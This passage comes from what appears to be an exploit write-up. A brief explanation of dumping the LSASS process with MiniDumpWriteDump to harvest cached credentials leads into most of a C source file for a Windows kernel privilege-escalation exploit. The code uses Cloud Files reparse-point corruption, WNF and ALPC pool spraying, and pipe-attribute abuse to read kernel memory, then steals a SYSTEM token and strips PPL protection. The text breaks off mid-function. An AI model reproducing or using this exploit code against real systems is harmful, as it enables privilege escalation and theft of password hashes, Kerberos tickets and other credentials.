As I stated previously, the exploitation objective of this edition is not a SYSTEM shell but a complete memory dump of the LSASS process, which can be analyzed offline to extract cached credentials. The API that makes this possible is MiniDumpWriteDump function, which is declared in DbgHelp.h and implemented in Dbghelp.dll, has its prototype available on https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump. In this case, the exploit uses MiniDumpWithFullMemory (0x00000002) as the dump type and for LSASS, which hold NTLM password hashes, Kerberos tickets, DPAPI master keys and other passwords, it is appropriate. Initially, the impression is that it would be a fast task, but it never is. There are a few prerequisites that must be satisfied for the call to succeed. First, hProcess parameter must have at least PROCESS_VM_READ and PROCESS_QUERY_INFORMATION rights (both included in PROCESS_ALL_ACCESS = 0x001FFFFF). Second, the caller must have SeDebugPrivilege, which is provided by the SYSTEM token obtained through the token steal. Third, the target process's _PS_PROTECTION structure must be cleared (the faster way), or the caller must have equal or higher protection level and remember this is achieved by the PPL strip write. Fourth, hFile must be writable and on a filesystem with sufficient free space. Of course, once we attend to these requirements, we have a clear path to the final exploit.

06.03. Exploit code

The exploit_ppl_bypass_edition.c exploit code follows as shown below:

```
#include <Windows.h>
#include <cfapi.h>
#include <winioctl.h>
#include <ShlObj.h>
#include <stdio.h>
#include <memory>
```

```
#include <initguid.h>
#include <guiddef.h>
#include <sddl.h>
#include <ntstatus.h>
#include <DbgHelp.h>

#pragma comment(lib, "Cldapi.lib")
#pragma comment(lib, "Dbghelp.lib")

DEFINE_GUID(ProviderId,
    0x1b4f2a33, 0xb1b3, 0x40c0,
    0xba, 0x5a, 0x06, 0x34, 0xec, 0x63, 0xde, 0x00);

typedef enum _HSM_CONSTANTS {
    HSM_BITMAP_MAGIC = 0x70527442,
    HSM_FILE_MAGIC = 0x70526546,
    HSM_DATA_HAVE_CRC = 0x02,
    HSM_ELEMENT_TYPE_UINT64 = 0x06,
    HSM_ELEMENT_TYPE_BYTE = 0x07,
    HSM_ELEMENT_TYPE_UINT32 = 0x0A,
    HSM_ELEMENT_TYPE_MAX = 0x10,
    HSM_ELEMENT_TYPE_BITMAP = 0x11,
} HSM_CONSTANTS;

static const USHORT HSM_HEADER_SIZE = 0x14;
static const USHORT HSM_ELEMENT_INFO_SIZE = 0x08;
static const USHORT BTRP_ALIGN = 0x04;
static const USHORT FERP_ALIGN = 0x08;
static const USHORT ELEMENT_NUMBER = 0x05;
static const USHORT MAX_ELEMS = 0x0A;
static const USHORT VERSION_VALUE = 0x0001;
static const USHORT ELEMENT_START_OFFSET = 0x60;
static const USHORT FERP_BUFFER_SIZE = 0x4000;
static const USHORT BTRP_BUFFER_SIZE = 0x4000;
static const USHORT COMPRESSED_SIZE = 0x4000;
static const USHORT REPARSE_DATA_SIZE = 0x4000;

static const DWORD  DEFRAG_PIPE_COUNT = 5000;
static const DWORD  WNF_PAD_SPRAY_COUNT = 0x5000;
static const DWORD  WNF_SPRAY_COUNT = 0x800;
static const DWORD  WNF_DATA_SIZE = 0xFF0;
static const DWORD  ALPC_PORT_COUNT = 0x800;
static const DWORD  ALPC_RESERVES_PER_PORT = 257;
static const USHORT PAYLOAD_FILL_BYTE = 0xAB;
static const USHORT PAYLOAD_SIZE_OVERFLOW = 0x1010;
static const USHORT PAYLOAD_OFFSET = 0x1000;
static const DWORD  CHANGE_STAMP_FIRST = 0xC0DE;

static const DWORD  WNF_PAD_SPRAY_COUNT_SECOND = 0x2000;
static const DWORD  WNF_SPRAY_COUNT_SECOND = 0x600;
static const DWORD  PIPE_SPRAY_COUNT = 0x600;
static const DWORD  CHANGE_STAMP_SECOND = 0xDEAD;
static const DWORD  PIPE_ATTR_CLAIM_SIZE = 0x200;
static const DWORD  PIPE_ATTR_FILL_SIZE = 0xFD0;

static const DWORD  SLEEP_SHORT = 100;
```

```
static const DWORD  SLEEP_NORMAL = 1000;
static const DWORD  SLEEP_LONG = 6000;

static const ULONG EPROCESS_TOKEN_OFFSET = 0x4B8;
static const ULONG EPROCESS_IMAGEFILENAME_OFFSET = 0x5A8;
static const ULONG EPROCESS_UNIQUEPROCESSID_OFFSET = 0x440;
static const ULONG EPROCESS_ACTIVEPROCESSLINKS_OFFSET = 0x448;
static const ULONG EPROCESS_PROTECTION_OFFSET = 0x87A;
static const ULONG KTHREAD_PREVIOUSMODE_OFFSET = 0x232;

static const ULONG FSCTL_PIPE_GET_PIPE_ATTRIBUTE = 0x110038;
static const ULONG FSCTL_PIPE_SET_PIPE_ATTRIBUTE = 0x11003C;

#define ALPC_MSGFLG_NONE 0x0

#pragma pack(push, 1)

typedef struct _HSM_ELEMENT_INFO {
    USHORT Type;
    USHORT Length;
    ULONG  Offset;
} HSM_ELEMENT_INFO, * PHSM_ELEMENT_INFO;

typedef struct _REPARSE_DATA_BUFFER {
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    struct {
        UCHAR DataBuffer[FERP_BUFFER_SIZE];
    } GenericReparseBuffer;
} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;

typedef struct _REPARSE_DATA_BUFFER_EX {
    ULONG     Flags;
    ULONG     ExistingReparseTag;
    GUID      ExistingReparseGuid;
    ULONGLONG Reserved;
    REPARSE_DATA_BUFFER ReparseDataBuffer;
} REPARSE_DATA_BUFFER_EX, * PREPARSE_DATA_BUFFER_EX;

#pragma pack(pop)

typedef struct _PIPE_PAIR {
    HANDLE hRead;
    HANDLE hWrite;
} PIPE_PAIR, * PPIPE_PAIR;

typedef struct _WNF_STATE_NAME {
    ULONG64 Data[2];
} WNF_STATE_NAME, * PWNF_STATE_NAME;

typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP;

typedef struct _WNF_TYPE_ID {
    GUID TypeId;
} WNF_TYPE_ID, * PWNF_TYPE_ID;
```

```
typedef const WNF_TYPE_ID* PCWNF_TYPE_ID;
typedef const WNF_STATE_NAME* PCWNF_STATE_NAME;

typedef enum _WNF_STATE_NAME_LIFETIME {
    WnfWellKnownStateName = 0,
    WnfPermanentStateName = 1,
    WnfPersistentStateName = 2,
    WnfTemporaryStateName = 3
} WNF_STATE_NAME_LIFETIME;

typedef enum _WNF_DATA_SCOPE {
    WnfDataScopeSystem = 0,
    WnfDataScopeSession = 1,
    WnfDataScopeUser = 2,
    WnfDataScopeProcess = 3,
    WnfDataScopeMachine = 4
} WNF_DATA_SCOPE;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _ALPC_PORT_ATTRIBUTES {
    ULONG                        Flags;
    SECURITY_QUALITY_OF_SERVICE SecurityQos;
    SIZE_T                       MaxMessageLength;
    SIZE_T                       MemoryBandwidth;
    SIZE_T                       MaxPoolUsage;
    SIZE_T                       MaxSectionSize;
    SIZE_T                       MaxViewSize;
    SIZE_T                       MaxTotalSectionSize;
    ULONG                        DupObjectTypes;
    ULONG                        Reserved;
} ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES;

#pragma pack(push, 1)

typedef struct _KALPC_RESERVE {
    PVOID OwnerPort;
```

```
    PVOID HandleTable;
    PVOID Handle;
    PVOID Message;
    ULONGLONG Size;
    LONG Active;
    ULONG Padding;
} KALPC_RESERVE, * PKALPC_RESERVE;

typedef struct _KALPC_MESSAGE {
    BYTE Reserved0[0x60];
    PVOID Reserve;
    BYTE Reserved1[0x78];
    PVOID ExtensionBuffer;
    ULONGLONG ExtensionBufferSize;
    BYTE Reserved2[0x28];
} KALPC_MESSAGE, * PKALPC_MESSAGE;

#pragma pack(pop)

typedef struct _PORT_MESSAGE {
    union {
        struct {
            USHORT DataLength;
            USHORT TotalLength;
        } s1;
        ULONG Length;
    } u1;
    union {
        struct {
            USHORT Type;
            USHORT DataInfoOffset;
        } s2;
        ULONG ZeroInit;
    } u2;
    union {
        CLIENT_ID ClientId;
        double DoNotUseThisField;
    };
    ULONG MessageId;
    union {
        SIZE_T ClientViewSize;
        ULONG CallbackId;
    };
} PORT_MESSAGE, * PPORT_MESSAGE;

typedef struct _ALPC_MESSAGE {
    PORT_MESSAGE PortHeader;
    BYTE Data[0x100];
} ALPC_MESSAGE, * PALPC_MESSAGE;

typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID    Pointer;
    };
    ULONG_PTR Information;
```

```
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedef NTSTATUS(NTAPI* PNtCreateWnfStateName)(PWNF_STATE_NAME,
WNF_STATE_NAME_LIFETIME, WNF_DATA_SCOPE, BOOLEAN, PCWNF_TYPE_ID, ULONG,
PSECURITY_DESCRIPTOR);
typedef NTSTATUS(NTAPI* PNtUpdateWnfStateData)(PCWNF_STATE_NAME, PVOID, ULONG,
PCWNF_TYPE_ID, PVOID, WNF_CHANGE_STAMP, ULONG);
typedef NTSTATUS(NTAPI* PNtQueryWnfStateData)(PCWNF_STATE_NAME, PCWNF_TYPE_ID, PVOID,
PWNF_CHANGE_STAMP, PVOID, PULONG);
typedef NTSTATUS(NTAPI* PNtDeleteWnfStateName)(PCWNF_STATE_NAME);
typedef NTSTATUS(NTAPI* PNtAlpcCreatePort)(PHANDLE, POBJECT_ATTRIBUTES,
PALPC_PORT_ATTRIBUTES);
typedef NTSTATUS(NTAPI* PNtAlpcCreateResourceReserve)(HANDLE, ULONG, SIZE_T, PHANDLE);
typedef NTSTATUS(NTAPI* PNtFsControlFile)(HANDLE, HANDLE, PVOID, PVOID,
PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
typedef NTSTATUS(NTAPI* PNtAlpcSendWaitReceivePort)(HANDLE, ULONG, PPORT_MESSAGE,
PVOID, PPORT_MESSAGE, PSIZE_T, PVOID, PLARGE_INTEGER);
typedef NTSTATUS(NTAPI* PNtOpenProcess)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
PCLIENT_ID);
typedef NTSTATUS(NTAPI* PNtOpenProcessTokenEx)(HANDLE, ACCESS_MASK, ULONG, PHANDLE);
typedef NTSTATUS(NTAPI* PNtDuplicateToken)(HANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
BOOLEAN, TOKEN_TYPE, PHANDLE);
typedef NTSTATUS(NTAPI* PNtSetInformationThread)(HANDLE, ULONG, PVOID, ULONG);
typedef NTSTATUS(NTAPI* PNtClose)(HANDLE);
typedef NTSTATUS(NTAPI* PNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS(NTAPI* PNtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {
    PVOID Object;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR HandleValue;
    ULONG GrantedAccess;
    USHORT CreatorBackTraceIndex;
    USHORT ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX {
    ULONG_PTR NumberOfHandles;
    ULONG_PTR Reserved;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX;

typedef NTSTATUS(NTAPI* PRtlGetCompressionWorkSpaceSize)(USHORT, PULONG, PULONG);
typedef NTSTATUS(NTAPI* PRtlCompressBuffer)(USHORT, PUCHAR, ULONG, PUCHAR, ULONG,
ULONG, PULONG, PVOID);

static PNtCreateWnfStateName        g_NtCreateWnfStateName = NULL;
static PNtUpdateWnfStateData        g_NtUpdateWnfStateData = NULL;
static PNtQueryWnfStateData         g_NtQueryWnfStateData = NULL;
static PNtDeleteWnfStateName        g_NtDeleteWnfStateName = NULL;
static PNtAlpcCreatePort            g_NtAlpcCreatePort = NULL;
static PNtAlpcCreateResourceReserve g_NtAlpcCreateResourceReserve = NULL;
static PNtFsControlFile             g_NtFsControlFile = NULL;
static PNtAlpcSendWaitReceivePort   g_NtAlpcSendWaitReceivePort = NULL;
```

```
static PNtOpenProcess               g_NtOpenProcess = NULL;
static PNtOpenProcessTokenEx        g_NtOpenProcessTokenEx = NULL;
static PNtDuplicateToken            g_NtDuplicateToken = NULL;
static PNtSetInformationThread      g_NtSetInformationThread = NULL;
static PNtClose                     g_NtClose = NULL;
static PNtWriteVirtualMemory        g_NtWriteVirtualMemory = NULL;
static PNtQuerySystemInformation    g_NtQuerySystemInformation = NULL;

static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_pad_names;
static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_names;
static std::unique_ptr<BOOL[]>           g_wnf_active;
static std::unique_ptr<HANDLE[]>         g_alpc_ports;
static int    g_victim_index = -1;
static PVOID  g_leaked_kalpc = NULL;
static HANDLE g_saved_reserve_handle = NULL;

static DECLSPEC_ALIGN(16) BYTE g_fake_pipe_attr[0x1000];
static DECLSPEC_ALIGN(16) BYTE g_fake_pipe_attr2[0x1000];
static char g_fake_attr_name[] = "hackedfakepipe";
static char g_fake_attr_name2[] = "alexandre";
static int g_target_pipe_index = -1;

static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_pad_names_second;
static std::unique_ptr<WNF_STATE_NAME[]> g_wnf_names_second;
static std::unique_ptr<BOOL[]>           g_wnf_active_second;
static std::unique_ptr<HANDLE[]>         g_pipe_read;
static std::unique_ptr<HANDLE[]>         g_pipe_write;
static int   g_victim_index_second = -1;
static PVOID g_leaked_pipe_attr = NULL;

static ULONG64 g_alpc_port_addr = 0;
static ULONG64 g_alpc_handle_table_addr = 0;
static ULONG64 g_alpc_message_addr = 0;
static ULONG64 g_eprocess_addr = 0;
static ULONG64 g_system_eprocess = 0;
static ULONG64 g_our_eprocess = 0;
static ULONG64 g_system_token = 0;
static ULONG64 g_system_token_raw = 0;
static ULONG64 g_our_token = 0;
static ULONG g_winlogon_pid = 0;
static ULONG64 g_lsass_eprocess = 0;
static ULONG   g_lsass_pid = 0;
static ULONG64 g_our_kthread = 0;

static KALPC_RESERVE* g_fake_kalpc_reserve = NULL;
static KALPC_MESSAGE* g_fake_kalpc_message = NULL;
static BYTE* g_fake_kalpc_reserve_object = NULL;
static BYTE* g_fake_kalpc_message_object = NULL;
static BYTE           g_kthread_pre_read[16] = { 0 };

static wchar_t g_syncRootPath[MAX_PATH];
static wchar_t g_filePath[MAX_PATH];
static wchar_t g_filePath_second[MAX_PATH];

#define RESOLVE_FUNCTION(module, func_ptr, func_type, func_name) \
    do { \
```

```
        func_ptr = (func_type)GetProcAddress(module, func_name); \
        if (!func_ptr) { \
            printf("[-] Failed to resolve: %s\n", func_name); \
            return FALSE; \
        } \
    } while(0)

static ULONG Calculate_CRC32(ULONG seed, const void* buf, size_t len) {
    ULONG crc = ~seed;
    const unsigned char* p = (const unsigned char*)buf;
    for (size_t i = 0; i < len; ++i) {
        crc ^= p[i];
        for (int j = 0; j < 8; ++j) {
            if (crc & 1) crc = (crc >> 1) ^ 0xEDB88320;
            else crc >>= 1;
        }
    }
    return ~crc;
}

static BOOL IsKernelPointer(ULONG64 value) {
    return ((value & 0xFFFF000000000000ULL) == 0xFFFF000000000000ULL) &&
        (value != 0xFFFFFFFFFFFFFFFFULL) &&
        (value != 0x5151515151515151ULL) &&
        (value != 0x5252525252525252ULL);
}

static BOOL RefreshPipeCorruption(ULONG64 target_addr, ULONG size) {
    if (g_victim_index_second == -1) return FALSE;

    ULONG64* fake1 = (ULONG64*)g_fake_pipe_attr;
    fake1[0] = (ULONG64)g_fake_pipe_attr2;
    fake1[1] = (ULONG64)g_leaked_pipe_attr;
    fake1[2] = (ULONG64)g_fake_attr_name;
    fake1[3] = size;
    fake1[4] = target_addr;
    fake1[5] = 0x4747474747474747ULL;

    ULONG64* fake2 = (ULONG64*)g_fake_pipe_attr2;
    fake2[0] = 0x4848484848484848ULL;
    fake2[1] = (ULONG64)g_fake_pipe_attr;
    fake2[2] = (ULONG64)g_fake_attr_name2;
    fake2[3] = size;
    fake2[4] = target_addr;
    fake2[5] = 0x4949494949494949ULL;

    auto overflow_data = std::make_unique<BYTE[]>(0xFF8);
    memset(overflow_data.get(), 0x50, 0xFF8);
    *(ULONG64*)(overflow_data.get() + 0xFF8 - 8) = (ULONG64)g_fake_pipe_attr;

    NTSTATUS status = g_NtUpdateWnfStateData(
        &g_wnf_names_second[g_victim_index_second],
        overflow_data.get(), 0xFF8, NULL, NULL, CHANGE_STAMP_SECOND, 0
    );

    return (status == 0);
```

```
}

static BOOL ReadKernel64(ULONG64 address, ULONG64* out_value) {
    if (g_target_pipe_index == -1 || address == 0) return FALSE;

    RefreshPipeCorruption(address, 0x8);

    BYTE buffer[0x100] = { 0 };
    IO_STATUS_BLOCK iosb = {};

    NTSTATUS status = g_NtFsControlFile(
        g_pipe_write[g_target_pipe_index],
        NULL, NULL, NULL, &iosb,
        FSCTL_PIPE_GET_PIPE_ATTRIBUTE,
        g_fake_attr_name, (ULONG)strlen(g_fake_attr_name) + 1,
        buffer, sizeof(buffer)
    );

    if (status != 0) {
        printf("ReadKernel64 failed: target=0x%llX, status=0x%08X, pipe_idx=%d\n",
            address, status, g_target_pipe_index);
        return FALSE;
    }

    *out_value = *(ULONG64*)buffer;
    return TRUE;
}

static BOOL ReadKernelBuffer(ULONG64 address, PVOID buffer, ULONG size) {
    if (g_target_pipe_index == -1 || address == 0 || buffer == NULL || size == 0) {
        return FALSE;
    }

    RefreshPipeCorruption(address, size);

    BYTE out_buffer[0x1000] = { 0 };
    IO_STATUS_BLOCK iosb = {};

    NTSTATUS status = g_NtFsControlFile(
        g_pipe_write[g_target_pipe_index],
        NULL, NULL, NULL, &iosb,
        FSCTL_PIPE_GET_PIPE_ATTRIBUTE,
        g_fake_attr_name, (ULONG)strlen(g_fake_attr_name) + 1,
        out_buffer, sizeof(out_buffer)
    );

    if (status != 0) return FALSE;
    memcpy(buffer, out_buffer, size);
    return TRUE;
}

static BOOL DiscoverKthreadEarly(void) {
    DWORD our_pid = GetCurrentProcessId();
    DWORD our_tid = GetCurrentThreadId();
    printf("[*] Pre-discovering KTHREAD for PID=%lu TID=%lu\n", our_pid, our_tid);
```

```
    HANDLE hOurThread = NULL;
    if (!DuplicateHandle(GetCurrentProcess(), GetCurrentThread(),
        GetCurrentProcess(), &hOurThread, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
        printf("[-] DuplicateHandle(CurrentThread) failed: %lu\n", GetLastError());
        return FALSE;
    }

    ULONG buf_size = 0x400000;
    BYTE* handle_buf = NULL;
    NTSTATUS nt_status;

    for (int attempt = 0; attempt < 8; attempt++) {
        handle_buf = (BYTE*)malloc(buf_size);
        if (!handle_buf) {
            CloseHandle(hOurThread);
            return FALSE;
        }
        nt_status = g_NtQuerySystemInformation(64, handle_buf, buf_size, NULL);
        if (nt_status == (NTSTATUS)0xC0000004) {
            free(handle_buf);
            handle_buf = NULL;
            buf_size *= 2;
            continue;
        }
        break;
    }

    if (nt_status != 0 || !handle_buf) {
        printf("[-] NtQuerySystemInformation(64) failed: 0x%08X\n", (ULONG)nt_status);
        if (handle_buf) free(handle_buf);
        CloseHandle(hOurThread);
        return FALSE;
    }

    SYSTEM_HANDLE_INFORMATION_EX* handle_info =
(SYSTEM_HANDLE_INFORMATION_EX*)handle_buf;

    for (ULONG_PTR i = 0; i < handle_info->NumberOfHandles; i++) {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX* entry = &handle_info->Handles[i];
        if (entry->UniqueProcessId == (ULONG_PTR)our_pid &&
            entry->HandleValue == (ULONG_PTR)hOurThread) {
            g_our_kthread = (ULONG64)entry->Object;
            break;
        }
    }

    free(handle_buf);
    CloseHandle(hOurThread);

    if (g_our_kthread == 0) {
        printf("[-] Failed to find KTHREAD in handle table\n");
        return FALSE;
    }

    printf("[+] KTHREAD: 0x%016llX (will verify PreviousMode in Stage 21)\n",
        (unsigned long long)g_our_kthread);
```

```
    return TRUE;
}

static BOOL InitializeNtdllFunctions(void) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) {
        printf("[-] Failed to get ntdll.dll handle\n");
        return FALSE;
    }

    RESOLVE_FUNCTION(hNtdll, g_NtCreateWnfStateName, PNtCreateWnfStateName,
"NtCreateWnfStateName");
    RESOLVE_FUNCTION(hNtdll, g_NtUpdateWnfStateData, PNtUpdateWnfStateData,
"NtUpdateWnfStateData");
    RESOLVE_FUNCTION(hNtdll, g_NtQueryWnfStateData, PNtQueryWnfStateData,
"NtQueryWnfStateData");
    RESOLVE_FUNCTION(hNtdll, g_NtDeleteWnfStateName, PNtDeleteWnfStateName,
"NtDeleteWnfStateName");
    RESOLVE_FUNCTION(hNtdll, g_NtAlpcCreatePort, PNtAlpcCreatePort,
"NtAlpcCreatePort");
    RESOLVE_FUNCTION(hNtdll, g_NtAlpcCreateResourceReserve,
PNtAlpcCreateResourceReserve, "NtAlpcCreateResourceReserve");
    RESOLVE_FUNCTION(hNtdll, g_NtFsControlFile, PNtFsControlFile, "NtFsControlFile");
    RESOLVE_FUNCTION(hNtdll, g_NtAlpcSendWaitReceivePort, PNtAlpcSendWaitReceivePort,
"NtAlpcSendWaitReceivePort");
    RESOLVE_FUNCTION(hNtdll, g_NtOpenProcess, PNtOpenProcess, "NtOpenProcess");
    RESOLVE_FUNCTION(hNtdll, g_NtOpenProcessTokenEx, PNtOpenProcessTokenEx,
"NtOpenProcessTokenEx");
    RESOLVE_FUNCTION(hNtdll, g_NtDuplicateToken, PNtDuplicateToken,
"NtDuplicateToken");
    RESOLVE_FUNCTION(hNtdll, g_NtSetInformationThread, PNtSetInformationThread,
"NtSetInformationThread");
    RESOLVE_FUNCTION(hNtdll, g_NtClose, PNtClose, "NtClose");
    RESOLVE_FUNCTION(hNtdll, g_NtWriteVirtualMemory, PNtWriteVirtualMemory,
"NtWriteVirtualMemory");
    RESOLVE_FUNCTION(hNtdll, g_NtQuerySystemInformation, PNtQuerySystemInformation,
"NtQuerySystemInformation");

    printf("[+] All ntdll functions resolved\n");
    return TRUE;
}

static BOOL InitializeSyncRoot(void) {
    PWSTR appDataPath = NULL;
    HRESULT hr = SHGetKnownFolderPath(FOLDERID_RoamingAppData, 0, NULL, &appDataPath);
    if (FAILED(hr)) {
        printf("[-] Failed to get AppData path\n");
        return FALSE;
    }

    swprintf(g_syncRootPath, MAX_PATH, L"%s\\MySyncRoot", appDataPath);
    CreateDirectoryW(g_syncRootPath, NULL);

    swprintf(g_filePath, MAX_PATH, L"%s\\trigger_first", g_syncRootPath);
    swprintf(g_filePath_second, MAX_PATH, L"%s\\trigger_second", g_syncRootPath);
```

```
    CF_SYNC_REGISTRATION registration = {};
    registration.StructSize = sizeof(registration);
    registration.ProviderName = L"ExploitProvider";
    registration.ProviderVersion = L"1.0";
    registration.ProviderId = ProviderId;

    LPCWSTR identity = L"ExploitIdentity";
    registration.SyncRootIdentity = identity;
    registration.SyncRootIdentityLength = (DWORD)(wcslen(identity) * sizeof(WCHAR));

    CF_SYNC_POLICIES policies = {};
    policies.StructSize = sizeof(policies);
    policies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
    policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
    policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
    policies.PlaceholderManagement =
CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED;

    hr = CfRegisterSyncRoot(g_syncRootPath, &registration, &policies,
        CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);

    if (FAILED(hr)) {
        printf("[-] Sync root registration failed: 0x%08lX\n", (unsigned long)hr);
        CoTaskMemFree(appDataPath);
        return FALSE;
    }

    printf("[+] Sync root registered: %ls\n", g_syncRootPath);
    CoTaskMemFree(appDataPath);
    return TRUE;
}

typedef enum _HSM_ELEMENT_OFFSETS {
    ELEM_TYPE = 0x00, ELEM_LENGTH = 0x02, ELEM_OFFSET = 0x04,
} HSM_ELEMENT_OFFSETS;

typedef enum _HSM_FERP_OFFSETS {
    FERP_VERSION = 0x00, FERP_STRUCT_SIZE = 0x02, FERP_MAGIC = 0x04,
    FERP_CRC = 0x08, FERP_LENGTH = 0x0C, FERP_FLAGS = 0x10, FERP_MAX_ELEMS = 0x12
} HSM_FERP_OFFSETS;

typedef enum _HSM_BTRP_OFFSETS {
    BTRP_MAGIC = 0x04, BTRP_CRC = 0x08, BTRP_LENGTH = 0x0C,
    BTRP_FLAGS = 0x10, BTRP_MAX_ELEMS = 0x12
} HSM_BTRP_OFFSETS;

static USHORT BtRpBuildBuffer(HSM_ELEMENT_INFO* elements, char** input_data, int count,
char* btrp_data_buffer) {
    memset(btrp_data_buffer, 0, BTRP_BUFFER_SIZE);
    *(ULONG*)(btrp_data_buffer + BTRP_MAGIC) = HSM_BITMAP_MAGIC;
    *(USHORT*)(btrp_data_buffer + BTRP_MAX_ELEMS) = (USHORT)count;

    char* ptr = btrp_data_buffer + HSM_HEADER_SIZE;
    for (int i = 0; i < count; i++) {
        *(USHORT*)(ptr + ELEM_TYPE) = elements[i].Type;
        *(USHORT*)(ptr + ELEM_LENGTH) = elements[i].Length;
```

```
        *(ULONG*)(ptr + ELEM_OFFSET) = elements[i].Offset;
        memcpy(btrp_data_buffer + elements[i].Offset + 4, input_data[i],
elements[i].Length);
        ptr += sizeof(HSM_ELEMENT_INFO);
    }

    USHORT max_offset = 0;
    for (int i = 0; i < count; i++) {
        USHORT end = (USHORT)(elements[i].Offset + elements[i].Length);
        if (end > max_offset) max_offset = end;
    }

    USHORT total = (USHORT)(max_offset + 4);
    *(USHORT*)(btrp_data_buffer + BTRP_LENGTH) = total;
    *(USHORT*)(btrp_data_buffer + BTRP_FLAGS) = HSM_DATA_HAVE_CRC;

    if (total <= 8 + 0x0C) return 0;

    ULONG crc = Calculate_CRC32(0, btrp_data_buffer + BTRP_LENGTH, (ULONG)(total - 8));
    *(ULONG*)(btrp_data_buffer + BTRP_CRC) = crc;

    return total;
}

static USHORT FeRpBuildBuffer(HSM_ELEMENT_INFO* elements, char** input_data, int count,
char* ferp_ptr, USHORT max_elements) {
    memset(ferp_ptr, 0, FERP_BUFFER_SIZE);
    *(USHORT*)(ferp_ptr + FERP_VERSION) = VERSION_VALUE;
    *(ULONG*)(ferp_ptr + FERP_MAGIC) = HSM_FILE_MAGIC;
    *(USHORT*)(ferp_ptr + FERP_FLAGS) = HSM_DATA_HAVE_CRC;
    *(USHORT*)(ferp_ptr + FERP_MAX_ELEMS) = max_elements;

    char* descPtr = ferp_ptr + HSM_HEADER_SIZE;
    for (int i = 0; i < count; i++) {
        *(USHORT*)(descPtr + ELEM_TYPE) = elements[i].Type;
        *(USHORT*)(descPtr + ELEM_LENGTH) = elements[i].Length;
        *(ULONG*)(descPtr + ELEM_OFFSET) = elements[i].Offset;
        memcpy(ferp_ptr + elements[i].Offset, input_data[i], elements[i].Length);
        descPtr += HSM_ELEMENT_INFO_SIZE;
    }

    USHORT position_limit = 0;
    for (int i = 0; i < count; i++) {
        USHORT end = (USHORT)(elements[i].Offset + elements[i].Length);
        if (end > position_limit) position_limit = end;
    }

    USHORT rem = (USHORT)(position_limit % FERP_ALIGN);
    if (rem != 0) position_limit = (USHORT)(position_limit + (FERP_ALIGN - rem));

    *(ULONG*)(ferp_ptr + FERP_LENGTH) = (ULONG)(position_limit - 4);
    if (position_limit <= HSM_ELEMENT_TYPE_MAX) return 0;

    ULONG crc = Calculate_CRC32(0, ferp_ptr + FERP_LENGTH, (ULONG)(position_limit - 8 -
4));
    *(ULONG*)(ferp_ptr + FERP_CRC) = crc;
```

```
    *(USHORT*)(ferp_ptr + FERP_STRUCT_SIZE) = position_limit;

    return position_limit;
}

static unsigned long FeRpCompressBuffer(char* input_buffer, unsigned short input_size,
char* output_buffer) {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) return 0;

    auto fnGetWorkSpaceSize = (PRtlGetCompressionWorkSpaceSize)GetProcAddress(hNtdll,
"RtlGetCompressionWorkSpaceSize");
    auto fnCompressBuffer = (PRtlCompressBuffer)GetProcAddress(hNtdll,
"RtlCompressBuffer");
    if (!fnGetWorkSpaceSize || !fnCompressBuffer) return 0;

    ULONG workSpaceSize = 0, fragWorkSpaceSize = 0;
    if (fnGetWorkSpaceSize(2, &workSpaceSize, &fragWorkSpaceSize) != 0) return 0;

    std::unique_ptr<char[]> workspace(new char[workSpaceSize]);
    ULONG compressedSize = 0;

    if (fnCompressBuffer(2, (PUCHAR)(input_buffer + 4), (ULONG)(input_size - 4),
        (PUCHAR)output_buffer, FERP_BUFFER_SIZE, FERP_BUFFER_SIZE,
        &compressedSize, workspace.get()) != 0) return 0;

    return compressedSize;
}

static int BuildAndSetReparsePoint(HANDLE hFile, int payload_size, char* payload_buf) {
    const int COUNT = ELEMENT_NUMBER;
    auto bt_elements = std::make_unique<HSM_ELEMENT_INFO[]>(COUNT);

    bt_elements[0].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[0].Length = 0x1;
    bt_elements[1].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[1].Length = 0x1;
    bt_elements[2].Type = HSM_ELEMENT_TYPE_BYTE;   bt_elements[2].Length = 0x1;
